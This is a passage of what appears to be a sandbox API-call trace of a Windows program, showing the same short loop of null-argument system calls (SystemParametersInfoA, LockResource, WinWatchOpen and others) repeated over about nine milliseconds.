uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.719] LockResource (hResData=0x0) returned 0x0 [0171.719] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.719] WinWatchNotify () returned 0x0 [0171.719] timeGetTime () returned 0x113fb85 [0171.719] WinWatchOpen () returned 0x34b7d8 [0171.719] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.719] LockResource (hResData=0x0) returned 0x0 [0171.719] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.719] WinWatchNotify () returned 0x0 [0171.719] timeGetTime () returned 0x113fb85 [0171.719] WinWatchOpen () returned 0x34b7f8 [0171.719] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.719] LockResource (hResData=0x0) returned 0x0 [0171.719] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.719] WinWatchNotify () returned 0x0 [0171.720] timeGetTime () returned 0x113fb86 [0171.720] WinWatchOpen () returned 0x34b818 [0171.720] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.720] LockResource (hResData=0x0) returned 0x0 [0171.720] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.720] WinWatchNotify () returned 0x0 [0171.720] timeGetTime () returned 0x113fb86 [0171.720] WinWatchOpen () returned 0x34b838 [0171.720] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.720] LockResource (hResData=0x0) returned 0x0 [0171.720] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.720] WinWatchNotify () returned 0x0 [0171.720] timeGetTime () returned 0x113fb86 [0171.720] WinWatchOpen () returned 0x34b858 [0171.720] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.720] LockResource (hResData=0x0) returned 0x0 [0171.720] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.720] WinWatchNotify () returned 0x0 [0171.720] timeGetTime () returned 0x113fb86 [0171.720] WinWatchOpen () returned 0x34b878 [0171.720] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.720] LockResource (hResData=0x0) returned 0x0 [0171.720] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.720] WinWatchNotify () returned 0x0 [0171.720] timeGetTime () returned 0x113fb86 [0171.720] WinWatchOpen () returned 0x34b898 [0171.720] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.720] LockResource (hResData=0x0) returned 0x0 [0171.720] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.720] WinWatchNotify () returned 0x0 [0171.720] timeGetTime () returned 0x113fb86 [0171.720] WinWatchOpen () returned 0x34b8b8 [0171.720] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.720] LockResource (hResData=0x0) returned 0x0 [0171.720] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.720] WinWatchNotify () returned 0x0 [0171.720] timeGetTime () returned 0x113fb87 [0171.720] WinWatchOpen () returned 0x34b8d8 [0171.720] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.721] LockResource (hResData=0x0) returned 0x0 [0171.721] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.721] WinWatchNotify () returned 0x0 [0171.721] timeGetTime () returned 0x113fb87 [0171.721] WinWatchOpen () returned 0x34b8f8 [0171.721] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.721] LockResource (hResData=0x0) returned 0x0 [0171.721] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.721] WinWatchNotify () returned 0x0 [0171.721] timeGetTime () returned 0x113fb87 [0171.721] WinWatchOpen () returned 0x34b918 [0171.721] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.721] LockResource (hResData=0x0) returned 0x0 [0171.721] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.721] WinWatchNotify () returned 0x0 [0171.721] timeGetTime () returned 0x113fb87 [0171.721] WinWatchOpen () returned 0x34b938 [0171.721] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.721] LockResource (hResData=0x0) returned 0x0 [0171.721] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.721] WinWatchNotify () returned 0x0 [0171.721] timeGetTime () returned 0x113fb87 [0171.721] WinWatchOpen () returned 0x34b958 [0171.721] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.721] LockResource (hResData=0x0) returned 0x0 [0171.721] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.721] WinWatchNotify () returned 0x0 [0171.721] timeGetTime () returned 0x113fb87 [0171.721] WinWatchOpen () returned 0x34b978 [0171.721] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.721] LockResource (hResData=0x0) returned 0x0 [0171.721] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.721] WinWatchNotify () returned 0x0 [0171.721] timeGetTime () returned 0x113fb87 [0171.721] WinWatchOpen () returned 0x34b998 [0171.721] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.721] LockResource (hResData=0x0) returned 0x0 [0171.721] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.721] WinWatchNotify () returned 0x0 [0171.722] timeGetTime () returned 0x113fb88 [0171.722] WinWatchOpen () returned 0x34b9b8 [0171.722] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.722] LockResource (hResData=0x0) returned 0x0 [0171.722] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.722] WinWatchNotify () returned 0x0 [0171.722] timeGetTime () returned 0x113fb88 [0171.722] WinWatchOpen () returned 0x34b9d8 [0171.722] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.722] LockResource (hResData=0x0) returned 0x0 [0171.722] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.722] WinWatchNotify () returned 0x0 [0171.722] timeGetTime () returned 0x113fb88 [0171.722] WinWatchOpen () returned 0x34b9f8 [0171.722] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.722] LockResource (hResData=0x0) returned 0x0 [0171.722] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.722] WinWatchNotify () returned 0x0 [0171.722] timeGetTime () returned 0x113fb88 [0171.722] WinWatchOpen () returned 0x34ba18 [0171.722] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.722] LockResource (hResData=0x0) returned 0x0 [0171.722] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.722] WinWatchNotify () returned 0x0 [0171.722] timeGetTime () returned 0x113fb88 [0171.722] WinWatchOpen () returned 0x34ba38 [0171.722] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.722] LockResource (hResData=0x0) returned 0x0 [0171.722] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.722] WinWatchNotify () returned 0x0 [0171.722] timeGetTime () returned 0x113fb88 [0171.722] WinWatchOpen () returned 0x34ba58 [0171.722] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.722] LockResource (hResData=0x0) returned 0x0 [0171.722] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.722] WinWatchNotify () returned 0x0 [0171.722] timeGetTime () returned 0x113fb89 [0171.722] WinWatchOpen () returned 0x34ba78 [0171.723] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.723] LockResource (hResData=0x0) returned 0x0 [0171.723] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.723] WinWatchNotify () returned 0x0 [0171.723] timeGetTime () returned 0x113fb89 [0171.723] WinWatchOpen () returned 0x34ba98 [0171.723] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.723] LockResource (hResData=0x0) returned 0x0 [0171.723] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.723] WinWatchNotify () returned 0x0 [0171.723] timeGetTime () returned 0x113fb89 [0171.723] WinWatchOpen () returned 0x34bab8 [0171.723] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.723] LockResource (hResData=0x0) returned 0x0 [0171.723] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.723] WinWatchNotify () returned 0x0 [0171.723] timeGetTime () returned 0x113fb89 [0171.723] WinWatchOpen () returned 0x34bad8 [0171.723] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.723] LockResource (hResData=0x0) returned 0x0 [0171.723] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.723] WinWatchNotify () returned 0x0 [0171.723] timeGetTime () returned 0x113fb89 [0171.723] WinWatchOpen () returned 0x34baf8 [0171.723] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.723] LockResource (hResData=0x0) returned 0x0 [0171.723] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.723] WinWatchNotify () returned 0x0 [0171.723] timeGetTime () returned 0x113fb89 [0171.723] WinWatchOpen () returned 0x34bb18 [0171.723] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.723] LockResource (hResData=0x0) returned 0x0 [0171.723] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.723] WinWatchNotify () returned 0x0 [0171.723] timeGetTime () returned 0x113fb8a [0171.723] WinWatchOpen () returned 0x34bb38 [0171.723] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.723] LockResource (hResData=0x0) returned 0x0 [0171.723] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.724] WinWatchNotify () returned 0x0 [0171.724] timeGetTime () returned 0x113fb8a [0171.724] WinWatchOpen () returned 0x34bb58 [0171.724] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.724] LockResource (hResData=0x0) returned 0x0 [0171.724] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.724] WinWatchNotify () returned 0x0 [0171.724] timeGetTime () returned 0x113fb8a [0171.724] WinWatchOpen () returned 0x34bb78 [0171.724] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.724] LockResource (hResData=0x0) returned 0x0 [0171.724] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.724] WinWatchNotify () returned 0x0 [0171.724] timeGetTime () returned 0x113fb8a [0171.724] WinWatchOpen () returned 0x34bb98 [0171.724] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.724] LockResource (hResData=0x0) returned 0x0 [0171.724] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.724] WinWatchNotify () returned 0x0 [0171.724] timeGetTime () returned 0x113fb8a [0171.724] WinWatchOpen () returned 0x34bbb8 [0171.724] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.724] LockResource (hResData=0x0) returned 0x0 [0171.724] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.724] WinWatchNotify () returned 0x0 [0171.724] timeGetTime () returned 0x113fb8a [0171.724] WinWatchOpen () returned 0x34bbd8 [0171.724] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.724] LockResource (hResData=0x0) returned 0x0 [0171.724] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.724] WinWatchNotify () returned 0x0 [0171.724] timeGetTime () returned 0x113fb8a [0171.724] WinWatchOpen () returned 0x34bbf8 [0171.724] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.724] LockResource (hResData=0x0) returned 0x0 [0171.724] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.724] WinWatchNotify () returned 0x0 [0171.724] timeGetTime () returned 0x113fb8b [0171.725] WinWatchOpen () returned 0x34bc18 [0171.725] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.725] LockResource (hResData=0x0) returned 0x0 [0171.725] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.725] WinWatchNotify () returned 0x0 [0171.725] timeGetTime () returned 0x113fb8b [0171.725] WinWatchOpen () returned 0x34bc38 [0171.725] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.725] LockResource (hResData=0x0) returned 0x0 [0171.725] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.725] WinWatchNotify () returned 0x0 [0171.725] timeGetTime () returned 0x113fb8b [0171.725] WinWatchOpen () returned 0x34bc58 [0171.725] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.725] LockResource (hResData=0x0) returned 0x0 [0171.725] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.725] WinWatchNotify () returned 0x0 [0171.725] timeGetTime () returned 0x113fb8b [0171.725] WinWatchOpen () returned 0x34bc78 [0171.725] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.725] LockResource (hResData=0x0) returned 0x0 [0171.725] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.725] WinWatchNotify () returned 0x0 [0171.725] timeGetTime () returned 0x113fb8b [0171.725] WinWatchOpen () returned 0x34bc98 [0171.725] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.725] LockResource (hResData=0x0) returned 0x0 [0171.725] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.725] WinWatchNotify () returned 0x0 [0171.725] timeGetTime () returned 0x113fb8b [0171.725] WinWatchOpen () returned 0x34bcb8 [0171.725] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.725] LockResource (hResData=0x0) returned 0x0 [0171.725] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.725] WinWatchNotify () returned 0x0 [0171.725] timeGetTime () returned 0x113fb8c [0171.725] WinWatchOpen () returned 0x34bcd8 [0171.725] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.726] LockResource (hResData=0x0) returned 0x0 [0171.726] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.726] WinWatchNotify () returned 0x0 [0171.726] timeGetTime () returned 0x113fb8c [0171.726] WinWatchOpen () returned 0x34bcf8 [0171.726] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.726] LockResource (hResData=0x0) returned 0x0 [0171.726] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.726] WinWatchNotify () returned 0x0 [0171.726] timeGetTime () returned 0x113fb8c [0171.726] WinWatchOpen () returned 0x34bd18 [0171.726] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.726] LockResource (hResData=0x0) returned 0x0 [0171.726] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.726] WinWatchNotify () returned 0x0 [0171.726] timeGetTime () returned 0x113fb8c [0171.726] WinWatchOpen () returned 0x34bd38 [0171.726] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.726] LockResource (hResData=0x0) returned 0x0 [0171.726] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.726] WinWatchNotify () returned 0x0 [0171.726] timeGetTime () returned 0x113fb8c [0171.726] WinWatchOpen () returned 0x34bd58 [0171.726] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.726] LockResource (hResData=0x0) returned 0x0 [0171.726] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.726] WinWatchNotify () returned 0x0 [0171.726] timeGetTime () returned 0x113fb8c [0171.726] WinWatchOpen () returned 0x34bd78 [0171.726] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.726] LockResource (hResData=0x0) returned 0x0 [0171.726] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.726] WinWatchNotify () returned 0x0 [0171.726] timeGetTime () returned 0x113fb8c [0171.726] WinWatchOpen () returned 0x34bd98 [0171.726] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.726] LockResource (hResData=0x0) returned 0x0 [0171.726] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.726] WinWatchNotify () returned 0x0 [0171.727] timeGetTime () returned 0x113fb8d [0171.727] WinWatchOpen () returned 0x34bdb8 [0171.727] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.727] LockResource (hResData=0x0) returned 0x0 [0171.727] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.727] WinWatchNotify () returned 0x0 [0171.727] timeGetTime () returned 0x113fb8d [0171.727] WinWatchOpen () returned 0x34bdd8 [0171.727] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.727] LockResource (hResData=0x0) returned 0x0 [0171.727] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.727] WinWatchNotify () returned 0x0 [0171.727] timeGetTime () returned 0x113fb8d [0171.727] WinWatchOpen () returned 0x34bdf8 [0171.727] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.727] LockResource (hResData=0x0) returned 0x0 [0171.727] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.727] WinWatchNotify () returned 0x0 [0171.727] timeGetTime () returned 0x113fb8d [0171.727] WinWatchOpen () returned 0x34be18 [0171.727] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.727] LockResource (hResData=0x0) returned 0x0 [0171.727] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.727] WinWatchNotify () returned 0x0 [0171.727] timeGetTime () returned 0x113fb8d [0171.727] WinWatchOpen () returned 0x34be38 [0171.727] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.727] LockResource (hResData=0x0) returned 0x0 [0171.727] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.727] WinWatchNotify () returned 0x0 [0171.727] timeGetTime () returned 0x113fb8d [0171.727] WinWatchOpen () returned 0x34be58 [0171.727] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.727] LockResource (hResData=0x0) returned 0x0 [0171.727] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.727] WinWatchNotify () returned 0x0 [0171.727] timeGetTime () returned 0x113fb8e [0171.727] WinWatchOpen () returned 0x34be78 [0171.727] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.728] LockResource (hResData=0x0) returned 0x0 [0171.728] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.728] WinWatchNotify () returned 0x0 [0171.728] timeGetTime () returned 0x113fb8e [0171.728] WinWatchOpen () returned 0x34be98 [0171.728] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.728] LockResource (hResData=0x0) returned 0x0 [0171.728] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.728] WinWatchNotify () returned 0x0 [0171.728] timeGetTime () returned 0x113fb8e [0171.728] WinWatchOpen () returned 0x34beb8 [0171.728] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.728] LockResource (hResData=0x0) returned 0x0 [0171.728] 